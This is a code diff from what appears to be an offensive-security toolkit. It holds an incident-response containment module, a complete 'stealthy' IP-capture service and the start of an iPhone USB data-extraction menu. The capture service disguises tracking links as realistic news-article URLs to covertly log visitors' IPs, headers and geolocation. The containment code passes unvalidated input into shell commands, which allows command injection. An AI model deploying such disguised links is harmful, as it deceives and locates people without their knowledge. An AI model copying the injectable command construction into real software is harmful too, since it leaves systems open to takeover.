+ 'events_added': events_added,
+ 'evidence_parsed': len(evidence_files),
+ 'total_timeline_events': len(self._load_timeline(incident_id)),
+ }
+
+ # ── Containment ──────────────────────────────────────────────
+
+ def contain_host(self, incident_id, host, actions):
+ """Execute containment actions against a host/IP.
+
+ actions: list of strings from ['block_ip', 'kill_process', 'disable_user', 'isolate_network']
+ """
+ incident = self._load_incident(incident_id)
+ if not incident:
+ return {'error': 'Incident not found'}
+
+ results = []
+
+ for action in actions:
+ if action == 'block_ip':
+ if _is_win:
+ success, out = self._run_cmd(
+ f'netsh advfirewall firewall add rule name="AUTARCH-IR-Block-{host}" '
+ f'dir=in action=block remoteip={host}')
+ else:
+ success, out = self._run_cmd(f'iptables -A INPUT -s {host} -j DROP')
+ results.append({
+ 'action': 'block_ip',
+ 'target': host,
+ 'success': success,
+ 'output': out,
+ })
+
+ elif action == 'kill_process':
+ # host here is treated as PID or process name
+ if _is_win:
+ success, out = self._run_cmd(f'taskkill /F /PID {host} 2>nul || taskkill /F /IM {host} 2>nul')
+ else:
+ success, out = self._run_cmd(f'kill -9 {host} 2>/dev/null || pkill -9 {host} 2>/dev/null')
+ results.append({
+ 'action': 'kill_process',
+ 'target': host,
+ 'success': success,
+ 'output': out,
+ })
+
+ elif action == 'disable_user':
+ if _is_win:
+ success, out = self._run_cmd(f'net user {host} /active:no')
+ else:
+ success, out = self._run_cmd(f'usermod -L {host} 2>/dev/null; passwd -l {host} 2>/dev/null')
+ results.append({
+ 'action': 'disable_user',
+ 'target': host,
+ 'success': success,
+ 'output': out,
+ })
+
+ elif action == 'isolate_network':
+ if _is_win:
+ cmds = [
+ f'netsh advfirewall firewall add rule name="AUTARCH-IR-Isolate-In" dir=in action=block remoteip=any',
+ f'netsh advfirewall firewall add rule name="AUTARCH-IR-Isolate-Out" dir=out action=block remoteip=any',
+ ]
+ else:
+ cmds = [
+ 'iptables -P INPUT DROP',
+ 'iptables -P OUTPUT DROP',
+ 'iptables -P FORWARD DROP',
+ # Allow loopback
+ 'iptables -A INPUT -i lo -j ACCEPT',
+ 'iptables -A OUTPUT -o lo -j ACCEPT',
+ ]
+ all_ok = True
+ combined = []
+ for cmd in cmds:
+ s, o = self._run_cmd(cmd)
+ combined.append(o)
+ if not s:
+ all_ok = False
+ results.append({
+ 'action': 'isolate_network',
+ 'target': host,
+ 'success': all_ok,
+ 'output': '\n'.join(combined),
+ })
+
+ # Update incident status to contained
+ if incident['status'] in ('open', 'investigating'):
+ incident['status'] = 'contained'
+ incident['updated'] = self._now_iso()
+ self._save_incident(incident)
+
+ # Log all actions
+ action_summary = ', '.join(f'{r["action"]}:{r["target"]}={"OK" if r["success"] else "FAIL"}' for r in results)
+ self.add_timeline_event(incident_id, self._now_iso(),
+ f'Containment actions executed', 'containment',
+ action_summary)
+
+ # Store as evidence
+ self.add_evidence(incident_id, 'containment_actions',
+ json.dumps(results, indent=2), evidence_type='containment')
+
+ return {'results': results, 'status': incident.get('status')}
+
+ # ── Reporting ────────────────────────────────────────────────
+
+ def generate_report(self, incident_id):
+ """Generate a comprehensive post-incident report."""
+ incident = self._load_incident(incident_id)
+ if not incident:
+ return {'error': 'Incident not found'}
+
+ timeline = self._load_timeline(incident_id)
+ evidence = self.list_evidence(incident_id)
+ playbook = IR_PLAYBOOKS.get(incident['type'], {})
+ steps = playbook.get('steps', [])
+ progress = incident.get('playbook_progress', [])
+
+ completed_steps = sum(1 for p in progress if p)
+ total_steps = len(steps)
+
+ # Build report sections
+ report = {
+ 'title': f'Incident Report: {incident["name"]}',
+ 'incident_id': incident['id'],
+ 'generated_at': self._now_iso(),
+ 'executive_summary': {
+ 'incident_name': incident['name'],
+ 'incident_type': incident['type'],
+ 'severity': incident['severity'],
+ 'status': incident['status'],
+ 'created': incident['created'],
+ 'closed': incident.get('closed'),
+ 'duration': self._calc_duration(incident['created'], incident.get('closed')),
+ 'description': incident['description'],
+ },
+ 'timeline': timeline,
+ 'timeline_summary': f'{len(timeline)} events recorded',
+ 'evidence_summary': {
+ 'total_evidence': len(evidence),
+ 'evidence_list': [{'name': e['name'], 'size': e['size'],
+ 'collected_at': e['collected_at']} for e in evidence],
+ },
+ 'playbook_progress': {
+ 'playbook_name': playbook.get('name', 'N/A'),
+ 'completed_steps': completed_steps,
+ 'total_steps': total_steps,
+ 'completion_pct': int(completed_steps / total_steps * 100) if total_steps > 0 else 0,
+ 'steps': [],
+ },
+ 'actions_taken': [],
+ 'resolution': incident.get('resolution_notes', ''),
+ 'recommendations': self._generate_recommendations(incident['type']),
+ 'lessons_learned': [],
+ }
+
+ for i, step in enumerate(steps):
+ done = progress[i] if i < len(progress) else False
+ report['playbook_progress']['steps'].append({
+ 'step': i + 1,
+ 'title': step['title'],
+ 'completed': done,
+ })
+
+ # Extract containment actions from timeline
+ for event in timeline:
+ if event.get('source') in ('containment', 'playbook'):
+ report['actions_taken'].append({
+ 'timestamp': event['timestamp'],
+ 'action': event['event'],
+ 'details': event.get('details', ''),
+ })
+
+ return report
+
+ def _calc_duration(self, start_str, end_str):
+ """Calculate human-readable duration between two ISO timestamps."""
+ try:
+ start = datetime.fromisoformat(start_str.replace('Z', '+00:00'))
+ if end_str:
+ end = datetime.fromisoformat(end_str.replace('Z', '+00:00'))
+ else:
+ end = datetime.now(timezone.utc)
+ delta = end - start
+ hours = int(delta.total_seconds() // 3600)
+ minutes = int((delta.total_seconds() % 3600) // 60)
+ if hours > 24:
+ days = hours // 24
+ hours = hours % 24
+ return f'{days}d {hours}h {minutes}m'
+ return f'{hours}h {minutes}m'
+ except Exception:
+ return 'unknown'
+
+ def _generate_recommendations(self, incident_type):
+ """Generate post-incident recommendations based on incident type."""
+ recs = {
+ 'ransomware': [
+ 'Implement network segmentation to limit lateral movement',
+ 'Deploy endpoint detection and response (EDR) on all systems',
+ 'Implement immutable backups with offline/offsite copies',
+ 'Enable application whitelisting on critical servers',
+ 'Conduct regular phishing awareness training',
+ 'Implement email attachment sandboxing',
+ ],
+ 'data_breach': [
+ 'Deploy Data Loss Prevention (DLP) tools',
+ 'Implement database activity monitoring',
+ 'Enable multi-factor authentication on all accounts',
+ 'Encrypt sensitive data at rest and in transit',
+ 'Implement least-privilege access controls',
+ 'Conduct regular access reviews',
+ ],
+ 'insider_threat': [
+ 'Implement user behavior analytics (UBA)',
+ 'Enable comprehensive audit logging',
+ 'Enforce separation of duties',
+ 'Implement DLP with content-aware policies',
+ 'Conduct regular access certification reviews',
+ 'Establish clear data handling policies',
+ ],
+ 'ddos': [
+ 'Subscribe to a DDoS mitigation service',
+ 'Implement rate limiting at all network layers',
+ 'Deploy a web application firewall (WAF)',
+ 'Configure SYN flood protection on all servers',
+ 'Implement anycast DNS for resilience',
+ 'Create and test DDoS runbooks quarterly',
+ ],
+ 'account_compromise': [
+ 'Enforce MFA on all user accounts',
+ 'Implement conditional access policies',
+ 'Deploy password manager for the organization',
+ 'Enable login anomaly detection',
+ 'Implement session timeout policies',
+ 'Conduct regular credential audits',
+ ],
+ 'malware': [
+ 'Deploy next-gen antivirus with behavioral detection',
+ 'Implement application whitelisting',
+ 'Enable automatic OS and application patching',
+ 'Restrict macro execution in Office documents',
+ 'Implement email gateway scanning',
+ 'Deploy network-level malware detection',
+ ],
+ 'phishing': [
+ 'Deploy advanced email gateway with AI detection',
+ 'Implement DMARC, DKIM, and SPF for email authentication',
+ 'Conduct regular phishing simulation exercises',
+ 'Enable browser isolation for email links',
+ 'Implement URL rewriting and time-of-click protection',
+ 'Establish easy phishing report button for users',
+ ],
+ 'unauthorized_access': [
+ 'Implement zero-trust network architecture',
+ 'Deploy intrusion detection/prevention systems',
+ 'Enable comprehensive authentication logging',
+ 'Conduct regular vulnerability assessments',
+ 'Implement network access control (NAC)',
+ 'Deploy privileged access management (PAM)',
+ ],
+ }
+ return recs.get(incident_type, ['Review and update security controls'])
+
+ def export_incident(self, incident_id, fmt='json'):
+ """Export the full incident package as JSON."""
+ incident = self.get_incident(incident_id)
+ if 'error' in incident:
+ return incident
+
+ # Include evidence content
+ edir = self._evidence_dir(incident_id)
+ evidence_data = []
+ for ef in incident.get('evidence', []):
+ filepath = edir / ef['filename']
+ try:
+ content = filepath.read_text(encoding='utf-8', errors='replace')
+ except Exception:
+ content = '[Could not read file]'
+ evidence_data.append({
+ 'filename': ef['filename'],
+ 'name': ef['name'],
+ 'size': ef['size'],
+ 'collected_at': ef['collected_at'],
+ 'content': content,
+ })
+
+ export = {
+ 'incident': incident,
+ 'evidence_data': evidence_data,
+ 'report': self.generate_report(incident_id),
+ 'exported_at': self._now_iso(),
+ }
+ return export
+
+
+# ── Singleton ────────────────────────────────────────────────────
+
+_instance = None
+
+
+def get_incident_resp():
+ """Get or create singleton IncidentResponse instance."""
+ global _instance
+ if _instance is None:
+ _instance = IncidentResponse()
+ return _instance
+
+
+# ── CLI Runner ───────────────────────────────────────────────────
+
+def run():
+ """CLI interface for incident response module."""
+ ir = get_incident_resp()
+
+ while True:
+ clear_screen()
+ display_banner()
+ print(f'\n{Colors.CYAN}{"=" * 50}')
+ print(f' INCIDENT RESPONSE')
+ print(f'{"=" * 50}{Colors.RESET}\n')
+
+ incidents = ir.list_incidents()
+ open_count = sum(1 for i in incidents if i['status'] != 'closed')
+ print(f' Active incidents: {open_count}\n')
+
+ print(f' {Colors.GREEN}1{Colors.RESET} Create Incident')
+ print(f' {Colors.GREEN}2{Colors.RESET} List Incidents')
+ print(f' {Colors.GREEN}3{Colors.RESET} View Incident')
+ print(f' {Colors.GREEN}4{Colors.RESET} Run Playbook')
+ print(f' {Colors.GREEN}5{Colors.RESET} Collect Evidence')
+ print(f' {Colors.GREEN}6{Colors.RESET} Sweep IOCs')
+ print(f' {Colors.GREEN}7{Colors.RESET} Generate Report')
+ print(f' {Colors.RED}0{Colors.RESET} Back\n')
+
+ choice = input(f'{Colors.CYAN}>{Colors.RESET} ').strip()
+
+ if choice == '0':
+ break
+
+ elif choice == '1':
+ print(f'\n{Colors.CYAN}Create New Incident{Colors.RESET}')
+ name = input(' Name: ').strip()
+ if not name:
+ continue
+ print(f' Types: {", ".join(INCIDENT_TYPES)}')
+ itype = input(' Type: ').strip()
+ print(f' Severity: {", ".join(SEVERITY_LEVELS)}')
+ severity = input(' Severity: ').strip()
+ desc = input(' Description: ').strip()
+ result = ir.create_incident(name, itype, severity, desc)
+ if 'error' in result:
+ print(f'\n {Colors.RED}Error: {result["error"]}{Colors.RESET}')
+ else:
+ print(f'\n {Colors.GREEN}Created incident: {result["id"]}{Colors.RESET}')
+ input('\n Press Enter...')
+
+ elif choice == '2':
+ print(f'\n{Colors.CYAN}Incidents{Colors.RESET}\n')
+ for inc in incidents:
+ sev_color = {
+ 'critical': Colors.RED, 'high': Colors.YELLOW,
+ 'medium': Colors.CYAN, 'low': Colors.GREEN,
+ }.get(inc['severity'], Colors.WHITE)
+ print(f' {inc["id"]} | {inc["name"][:30]:30s} | '
+ f'{sev_color}{inc["severity"]:8s}{Colors.RESET} | '
+ f'{inc["status"]:12s} | {inc["type"]}')
+ if not incidents:
+ print(' No incidents found.')
+ input('\n Press Enter...')
+
+ elif choice == '3':
+ iid = input('\n Incident ID: ').strip()
+ inc = ir.get_incident(iid)
+ if 'error' in inc:
+ print(f'\n {Colors.RED}{inc["error"]}{Colors.RESET}')
+ else:
+ print(f'\n {Colors.BOLD}{inc["name"]}{Colors.RESET}')
+ print(f' Type: {inc["type"]} | Severity: {inc["severity"]} | Status: {inc["status"]}')
+ print(f' Created: {inc["created"]}')
+ print(f' Description: {inc.get("description", "")}')
+ print(f'\n Timeline events: {len(inc.get("timeline", []))}')
+ print(f' Evidence items: {len(inc.get("evidence", []))}')
+ progress = inc.get('playbook_progress', [])
+ done = sum(1 for p in progress if p)
+ print(f' Playbook progress: {done}/{len(progress)} steps')
+ input('\n Press Enter...')
+
+ elif choice == '4':
+ iid = input('\n Incident ID: ').strip()
+ inc = ir.get_incident(iid)
+ if 'error' in inc:
+ print(f'\n {Colors.RED}{inc["error"]}{Colors.RESET}')
+ input('\n Press Enter...')
+ continue
+ pb = ir.get_playbook(inc['type'])
+ if 'error' in pb:
+ print(f'\n {Colors.RED}{pb["error"]}{Colors.RESET}')
+ input('\n Press Enter...')
+ continue
+ print(f'\n {Colors.CYAN}Playbook: {pb["name"]}{Colors.RESET}\n')
+ progress = inc.get('playbook_progress', [])
+ for i, step in enumerate(pb['steps']):
+ done = progress[i] if i < len(progress) else False
+ mark = f'{Colors.GREEN}[X]{Colors.RESET}' if done else f'{Colors.RED}[ ]{Colors.RESET}'
+ auto_tag = f' {Colors.YELLOW}[AUTO]{Colors.RESET}' if step.get('automated') else ''
+ print(f' {mark} {i}: {step["title"]}{auto_tag}')
+ step_idx = input('\n Step # to run (or Enter to skip): ').strip()
+ if step_idx.isdigit():
+ auto = input(' Auto-execute commands? (y/n): ').strip().lower() == 'y'
+ result = ir.run_playbook_step(iid, int(step_idx), auto=auto)
+ if 'error' in result:
+ print(f'\n {Colors.RED}{result["error"]}{Colors.RESET}')
+ else:
+ print(f'\n {Colors.GREEN}Step completed: {result["title"]}{Colors.RESET}')
+ if result.get('output'):
+ print(f'\n{result["output"][:500]}')
+ input('\n Press Enter...')
+
+ elif choice == '5':
+ iid = input('\n Incident ID: ').strip()
+ print(f'\n Evidence types: {", ".join(EVIDENCE_TYPES)}')
+ etype = input(' Type: ').strip()
+ result = ir.collect_evidence(iid, etype)
+ if 'error' in result:
+ print(f'\n {Colors.RED}{result["error"]}{Colors.RESET}')
+ else:
+ print(f'\n {Colors.GREEN}Collected: {result["name"]} ({result["size"]} bytes){Colors.RESET}')
+ if result.get('preview'):
+ print(f'\n Preview:\n{result["preview"][:300]}')
+ input('\n Press Enter...')
+
+ elif choice == '6':
+ iid = input('\n Incident ID: ').strip()
+ print('\n Enter IOCs (comma-separated):')
+ ips = input(' IPs: ').strip()
+ domains = input(' Domains: ').strip()
+ hashes = input(' Hashes: ').strip()
+ iocs = {
+ 'ips': [x.strip() for x in ips.split(',') if x.strip()],
+ 'domains': [x.strip() for x in domains.split(',') if x.strip()],
+ 'hashes': [x.strip() for x in hashes.split(',') if x.strip()],
+ }
+ result = ir.sweep_iocs(iid, iocs)
+ if 'error' in result:
+ print(f'\n {Colors.RED}{result["error"]}{Colors.RESET}')
+ else:
+ print(f'\n {Colors.CYAN}Swept {result["total_iocs"]} IOCs, '
+ f'found {result["matches_found"]} matches{Colors.RESET}')
+ for m in result.get('matches', []):
+ sev_color = Colors.RED if m['severity'] == 'critical' else Colors.YELLOW
+ print(f' {sev_color}[{m["severity"].upper()}]{Colors.RESET} '
+ f'{m["type"]}: {m["ioc"]} in {m["found_in"]}')
+ input('\n Press Enter...')
+
+ elif choice == '7':
+ iid = input('\n Incident ID: ').strip()
+ report = ir.generate_report(iid)
+ if 'error' in report:
+ print(f'\n {Colors.RED}{report["error"]}{Colors.RESET}')
+ else:
+ es = report['executive_summary']
+ print(f'\n {Colors.BOLD}{report["title"]}{Colors.RESET}')
+ print(f' Type: {es["incident_type"]} | Severity: {es["severity"]}')
+ print(f' Status: {es["status"]} | Duration: {es["duration"]}')
+ print(f' Timeline: {report["timeline_summary"]}')
+ pp = report['playbook_progress']
+ print(f' Playbook: {pp["completed_steps"]}/{pp["total_steps"]} steps ({pp["completion_pct"]}%)')
+ print(f' Evidence: {report["evidence_summary"]["total_evidence"]} items')
+ print(f' Actions taken: {len(report["actions_taken"])}')
+ print(f'\n {Colors.CYAN}Recommendations:{Colors.RESET}')
+ for r in report.get('recommendations', []):
+ print(f' - {r}')
+ input('\n Press Enter...')
diff --git a/modules/ipcapture.py b/modules/ipcapture.py
new file mode 100644
index 0000000..86acbd8
--- /dev/null
+++ b/modules/ipcapture.py
@@ -0,0 +1,427 @@
+"""IP Capture & Redirect — stealthy link tracking for OSINT.
+
+Create disguised links that capture visitor IP + metadata,
+then redirect to a legitimate target URL. Fast 302 redirect,
+realistic URL paths, no suspicious indicators.
+"""
+
+DESCRIPTION = "IP Capture & Redirect — stealthy link tracking"
+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "osint"
+
+import os
+import json
+import time
+import random
+import string
+import hashlib
+import threading
+from datetime import datetime
+from pathlib import Path
+from typing import Dict, List, Optional
+
+try:
+ from core.paths import get_data_dir
+except ImportError:
+ def get_data_dir():
+ return str(Path(__file__).parent.parent / 'data')
+
+
+# ── Realistic URL path generation ────────────────────────────────────────────
+
+_WORD_POOL = [
+ 'tech', 'news', 'science', 'world', 'business', 'health', 'politics',
+ 'sports', 'culture', 'opinion', 'breaking', 'latest', 'update', 'report',
+ 'analysis', 'insight', 'review', 'guide', 'how-to', 'explained',
+ 'ai', 'climate', 'economy', 'security', 'research', 'innovation',
+ 'digital', 'global', 'local', 'industry', 'future', 'trends',
+ 'development', 'infrastructure', 'community', 'education', 'policy',
+]
+
+_TITLE_PATTERNS = [
+ '{adj}-{noun}-{verb}-{year}-{noun2}',
+ '{noun}-{adj}-{noun2}-{verb}',
+ 'new-{noun}-{verb}-{adj}-{noun2}',
+ '{noun}-report-{year}-{adj}-{noun2}',
+ 'how-{noun}-is-{verb}-the-{noun2}',
+ '{adj}-{noun}-breakthrough-{noun2}',
+]
+
+_ADJECTIVES = [
+ 'major', 'new', 'latest', 'critical', 'emerging', 'global',
+ 'innovative', 'surprising', 'important', 'unprecedented',
+]
+
+_NOUNS = [
+ 'technology', 'researchers', 'companies', 'governments', 'scientists',
+ 'industry', 'market', 'community', 'experts', 'development',
+]
+
+_VERBS = [
+ 'changing', 'transforming', 'disrupting', 'advancing', 'impacting',
+ 'reshaping', 'driving', 'revealing', 'challenging', 'accelerating',
+]
+
+
+def _generate_article_path() -> str:
+ """Generate a realistic-looking article URL path."""
+ now = datetime.now()
+ year = now.strftime('%Y')
+ month = now.strftime('%m')
+
+ pattern = random.choice(_TITLE_PATTERNS)
+ slug = pattern.format(
+ adj=random.choice(_ADJECTIVES),
+ noun=random.choice(_NOUNS),
+ noun2=random.choice(_NOUNS),
+ verb=random.choice(_VERBS),
+ year=year,
+ )
+
+ # Article-style path
+ styles = [
+ f'/article/{year}/{month}/{slug}',
+ f'/news/{year}/{slug}',
+ f'/stories/{slug}-{random.randint(1000, 9999)}',
+ f'/p/{slug}',
+ f'/read/{hashlib.md5(slug.encode()).hexdigest()[:8]}',
+ ]
+ return random.choice(styles)
+
+
+def _generate_short_key(length: int = 8) -> str:
+ """Generate a short random key."""
+ chars = string.ascii_lowercase + string.digits
+ return ''.join(random.choices(chars, k=length))
+
+
+# ── IP Capture Service ───────────────────────────────────────────────────────
+
+class IPCaptureService:
+ """Manage capture links and record visitor metadata."""
+
+ def __init__(self):
+ self._file = os.path.join(get_data_dir(), 'osint_captures.json')
+ self._links = {}
+ self._lock = threading.Lock()
+ self._load()
+
+ def _load(self):
+ if os.path.exists(self._file):
+ try:
+ with open(self._file, 'r') as f:
+ self._links = json.load(f)
+ except Exception:
+ self._links = {}
+
+ def _save(self):
+ os.makedirs(os.path.dirname(self._file), exist_ok=True)
+ with open(self._file, 'w') as f:
+ json.dump(self._links, f, indent=2)
+
+ def create_link(self, target_url: str, name: str = '',
+ disguise: str = 'article') -> dict:
+ """Create a new capture link.
+
+ Args:
+ target_url: The legitimate URL to redirect to after capture.
+ name: Friendly name for this link.
+ disguise: URL style — 'short', 'article', or 'custom'.
+
+ Returns:
+ Dict with key, paths, and full URLs.
+ """
+ key = _generate_short_key()
+
+ if disguise == 'article':
+ article_path = _generate_article_path()
+ elif disguise == 'short':
+ article_path = f'/c/{key}'
+ else:
+ article_path = f'/c/{key}'
+
+ with self._lock:
+ self._links[key] = {
+ 'key': key,
+ 'name': name or f'Link {key}',
+ 'target_url': target_url,
+ 'disguise': disguise,
+ 'article_path': article_path,
+ 'short_path': f'/c/{key}',
+ 'created': datetime.now().isoformat(),
+ 'captures': [],
+ 'active': True,
+ }
+ self._save()
+
+ return {
+ 'ok': True,
+ 'key': key,
+ 'short_path': f'/c/{key}',
+ 'article_path': article_path,
+ 'target_url': target_url,
+ }
+
+ def get_link(self, key: str) -> Optional[dict]:
+ return self._links.get(key)
+
+ def list_links(self) -> List[dict]:
+ return list(self._links.values())
+
+ def delete_link(self, key: str) -> bool:
+ with self._lock:
+ if key in self._links:
+ del self._links[key]
+ self._save()
+ return True
+ return False
+
+ def find_by_path(self, path: str) -> Optional[dict]:
+ """Find a link by its article path."""
+ for link in self._links.values():
+ if link.get('article_path') == path:
+ return link
+ return None
+
+ def record_capture(self, key: str, ip: str, user_agent: str = '',
+ accept_language: str = '', referer: str = '',
+ headers: dict = None) -> bool:
+ """Record a visitor capture."""
+ with self._lock:
+ link = self._links.get(key)
+ if not link or not link.get('active'):
+ return False
+
+ capture = {
+ 'ip': ip,
+ 'timestamp': datetime.now().isoformat(),
+ 'user_agent': user_agent,
+ 'accept_language': accept_language,
+ 'referer': referer,
+ }
+
+ # Extract extra metadata from headers
+ if headers:
+ for h in ['X-Forwarded-For', 'CF-Connecting-IP', 'X-Real-IP']:
+ val = headers.get(h, '')
+ if val:
+ capture[f'header_{h.lower().replace("-","_")}'] = val
+ # Connection hints
+ for h in ['Sec-CH-UA', 'Sec-CH-UA-Platform', 'Sec-CH-UA-Mobile',
+ 'DNT', 'Upgrade-Insecure-Requests']:
+ val = headers.get(h, '')
+ if val:
+ capture[f'hint_{h.lower().replace("-","_")}'] = val
+
+ # GeoIP lookup (best-effort)
+ try:
+ geo = self._geoip_lookup(ip)
+ if geo:
+ capture['geo'] = geo
+ except Exception:
+ pass
+
+ link['captures'].append(capture)
+ self._save()
+ return True
+
+ def _geoip_lookup(self, ip: str) -> Optional[dict]:
+ """Best-effort GeoIP lookup using the existing geoip module."""
+ try:
+ from modules.geoip import GeoIPLookup
+ geo = GeoIPLookup()
+ result = geo.lookup(ip)
+ if result and result.get('success'):
+ return {
+ 'country': result.get('country', ''),
+ 'region': result.get('region', ''),
+ 'city': result.get('city', ''),
+ 'isp': result.get('isp', ''),
+ 'lat': result.get('latitude', ''),
+ 'lon': result.get('longitude', ''),
+ }
+ except Exception:
+ pass
+ return None
+
+ def get_captures(self, key: str) -> List[dict]:
+ link = self._links.get(key)
+ return link.get('captures', []) if link else []
+
+ def get_stats(self, key: str) -> dict:
+ link = self._links.get(key)
+ if not link:
+ return {}
+ captures = link.get('captures', [])
+ unique_ips = set(c['ip'] for c in captures)
+ return {
+ 'total': len(captures),
+ 'unique_ips': len(unique_ips),
+ 'first': captures[0]['timestamp'] if captures else None,
+ 'last': captures[-1]['timestamp'] if captures else None,
+ }
+
+ def export_captures(self, key: str, fmt: str = 'json') -> str:
+ """Export captures to JSON or CSV string."""
+ captures = self.get_captures(key)
+ if fmt == 'csv':
+ if not captures:
+ return 'ip,timestamp,user_agent,country,city\n'
+ lines = ['ip,timestamp,user_agent,country,city']
+ for c in captures:
+ geo = c.get('geo', {})
+ lines.append(','.join([
+ c.get('ip', ''),
+ c.get('timestamp', ''),
+ f'"{c.get("user_agent", "")}"',
+ geo.get('country', ''),
+ geo.get('city', ''),
+ ]))
+ return '\n'.join(lines)
+ return json.dumps(captures, indent=2)
+
+
+# ── Singleton ────────────────────────────────────────────────────────────────
+
+_instance = None
+_lock = threading.Lock()
+
+
+def get_ip_capture() -> IPCaptureService:
+ global _instance
+ if _instance is None:
+ with _lock:
+ if _instance is None:
+ _instance = IPCaptureService()
+ return _instance
+
+
+# ── Interactive CLI ──────────────────────────────────────────────────────────
+
+def run():
+ """Interactive CLI for IP Capture & Redirect."""
+ service = get_ip_capture()
+
+ while True:
+ print("\n" + "=" * 60)
+ print(" IP CAPTURE & REDIRECT")
+ print(" Stealthy link tracking for OSINT")
+ print("=" * 60)
+ links = service.list_links()
+ active = sum(1 for l in links if l.get('active'))
+ total_captures = sum(len(l.get('captures', [])) for l in links)
+ print(f" Active links: {active} | Total captures: {total_captures}")
+ print()
+ print(" 1 — Create Capture Link")
+ print(" 2 — List Active Links")
+ print(" 3 — View Captures")
+ print(" 4 — Delete Link")
+ print(" 5 — Export Captures")
+ print(" 0 — Back")
+ print()
+
+ choice = input(" Select: ").strip()
+
+ if choice == '0':
+ break
+ elif choice == '1':
+ _cli_create(service)
+ elif choice == '2':
+ _cli_list(service)
+ elif choice == '3':
+ _cli_view(service)
+ elif choice == '4':
+ _cli_delete(service)
+ elif choice == '5':
+ _cli_export(service)
+
+
+def _cli_create(service: IPCaptureService):
+ """Create a new capture link."""
+ print("\n--- Create Capture Link ---")
+ target = input(" Target URL (redirect destination): ").strip()
+ if not target:
+ print(" [!] URL required")
+ return
+ if not target.startswith(('http://', 'https://')):
+ target = 'https://' + target
+
+ name = input(" Friendly name []: ").strip()
+ print(" Disguise type:")
+ print(" 1 — Article URL (realistic path)")
+ print(" 2 — Short URL (/c/xxxxx)")
+ dtype = input(" Select [1]: ").strip() or '1'
+ disguise = 'article' if dtype == '1' else 'short'
+
+ result = service.create_link(target, name, disguise)
+ if result['ok']:
+ print(f"\n [+] Link created!")
+ print(f" Key: {result['key']}")
+ print(f" Short URL: {result['short_path']}")
+ print(f" Article URL: {result['article_path']}")
+ print(f" Redirects to: {result['target_url']}")
+ else:
+ print(f" [-] {result.get('error', 'Failed')}")
+
+
+def _cli_list(service: IPCaptureService):
+ """List all active links."""
+ links = service.list_links()
+ if not links:
+ print("\n No capture links")
+ return
+ print(f"\n--- Active Links ({len(links)}) ---")
+ for l in links:
+ stats = service.get_stats(l['key'])
+ active = "ACTIVE" if l.get('active') else "DISABLED"
+ print(f"\n [{l['key']}] {l.get('name', 'Unnamed')} — {active}")
+ print(f" Target: {l['target_url']}")
+ print(f" Short: {l['short_path']}")
+ print(f" Article: {l.get('article_path', 'N/A')}")
+ print(f" Captures: {stats.get('total', 0)} ({stats.get('unique_ips', 0)} unique)")
+ if stats.get('last'):
+ print(f" Last hit: {stats['last']}")
+
+
+def _cli_view(service: IPCaptureService):
+ """View captures for a link."""
+ key = input(" Link key: ").strip()
+ captures = service.get_captures(key)
+ if not captures:
+ print(" No captures for this link")
+ return
+ print(f"\n--- Captures ({len(captures)}) ---")
+ for c in captures:
+ geo = c.get('geo', {})
+ location = f"{geo.get('city', '?')}, {geo.get('country', '?')}" if geo else 'Unknown'
+ print(f" {c['timestamp']} {c['ip']:>15} {location}")
+ if c.get('user_agent'):
+ ua = c['user_agent'][:80] + ('...' if len(c.get('user_agent', '')) > 80 else '')
+ print(f" UA: {ua}")
+
+
+def _cli_delete(service: IPCaptureService):
+ """Delete a link."""
+ key = input(" Link key to delete: ").strip()
+ if service.delete_link(key):
+ print(" [+] Link deleted")
+ else:
+ print(" [-] Link not found")
+
+
+def _cli_export(service: IPCaptureService):
+ """Export captures."""
+ key = input(" Link key: ").strip()
+ fmt = input(" Format (json/csv) [json]: ").strip() or 'json'
+ data = service.export_captures(key, fmt)
+ print(f"\n{data}")
+
+ save = input("\n Save to file? [y/N]: ").strip().lower()
+ if save == 'y':
+ ext = 'csv' if fmt == 'csv' else 'json'
+ filepath = os.path.join(get_data_dir(), 'exports', f'captures_{key}.{ext}')
+ os.makedirs(os.path.dirname(filepath), exist_ok=True)
+ with open(filepath, 'w') as f:
+ f.write(data)
+ print(f" [+] Saved to {filepath}")
diff --git a/modules/iphone_local.py b/modules/iphone_local.py
new file mode 100644
index 0000000..6c90414
--- /dev/null
+++ b/modules/iphone_local.py
@@ -0,0 +1,402 @@
+"""
+iPhone Local USB - Device access via libimobiledevice
+"""
+
+DESCRIPTION = "iPhone USB exploitation (info, backup, extract, apps, profiles)"
+AUTHOR = "AUTARCH"
+VERSION = "1.0"
+CATEGORY = "hardware"
+
+import sys
+from pathlib import Path
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+
+class IPhoneLocal:
+ """Interactive menu for iPhone USB device access."""
+
+ def __init__(self):
+ from core.iphone_exploit import get_iphone_manager
+ self.mgr = get_iphone_manager()
+ self.udid = None
+
+ def _select_device(self):
+ devices = self.mgr.list_devices()
+ if not devices:
+ print(" No iOS devices connected.")
+ return
+ if len(devices) == 1:
+ self.udid = devices[0]['udid']
+ print(f" Selected: {devices[0].get('name','')} ({self.udid[:12]}...)")
+ return
+ print("\n Select device:")
+ for i, d in enumerate(devices, 1):
+ print(f" {i}) {d.get('name','')} - {d.get('model','')} iOS {d.get('ios_version','')} [{d['udid'][:12]}...]")
+ try:
+ choice = int(input(" > ").strip())
+ if 1 <= choice <= len(devices):
+ self.udid = devices[choice - 1]['udid']
+ except (ValueError, EOFError, KeyboardInterrupt):
+ pass
+
+ def _ensure_device(self):
+ if not self.udid:
+ self._select_device()
+ return self.udid is not None
+
+ def show_menu(self):
+ status = self.mgr.get_status()
+ print(f"\n{'='*60}")
+ print(" iPhone USB Exploitation")
+ print(f"{'='*60}")
+ print(f" Tools: {status['found']}/{status['total']} available")
+ print(f" Device: {self.udid[:16] + '...' if self.udid else '(none)'}")
+ print()
+ print(" ── Device ──")
+ print(" [1] List Devices")
+ print(" [2] Device Info")
+ print(" [3] Full Fingerprint")
+ print(" [4] Pair / Validate")
+ print(" [5] Get/Set Device Name")
+ print(" [6] Restart / Shutdown / Sleep")
+ print()
+ print(" ── Capture ──")
+ print(" [10] Screenshot")
+ print(" [11] Syslog Dump")
+ print(" [12] Syslog Grep (sensitive)")
+ print(" [13] Crash Reports")
+ print()
+ print(" ── Apps ──")
+ print(" [20] List Apps")
+ print(" [21] Install IPA")
+ print(" [22] Uninstall App")
+ print()
+ print(" ── Backup & Extraction ──")
+ print(" [30] Create Backup")
+ print(" [31] List Backups")
+ print(" [32] Extract SMS/iMessage")
+ print(" [33] Extract Contacts")
+ print(" [34] Extract Call Log")
+ print(" [35] Extract Notes")
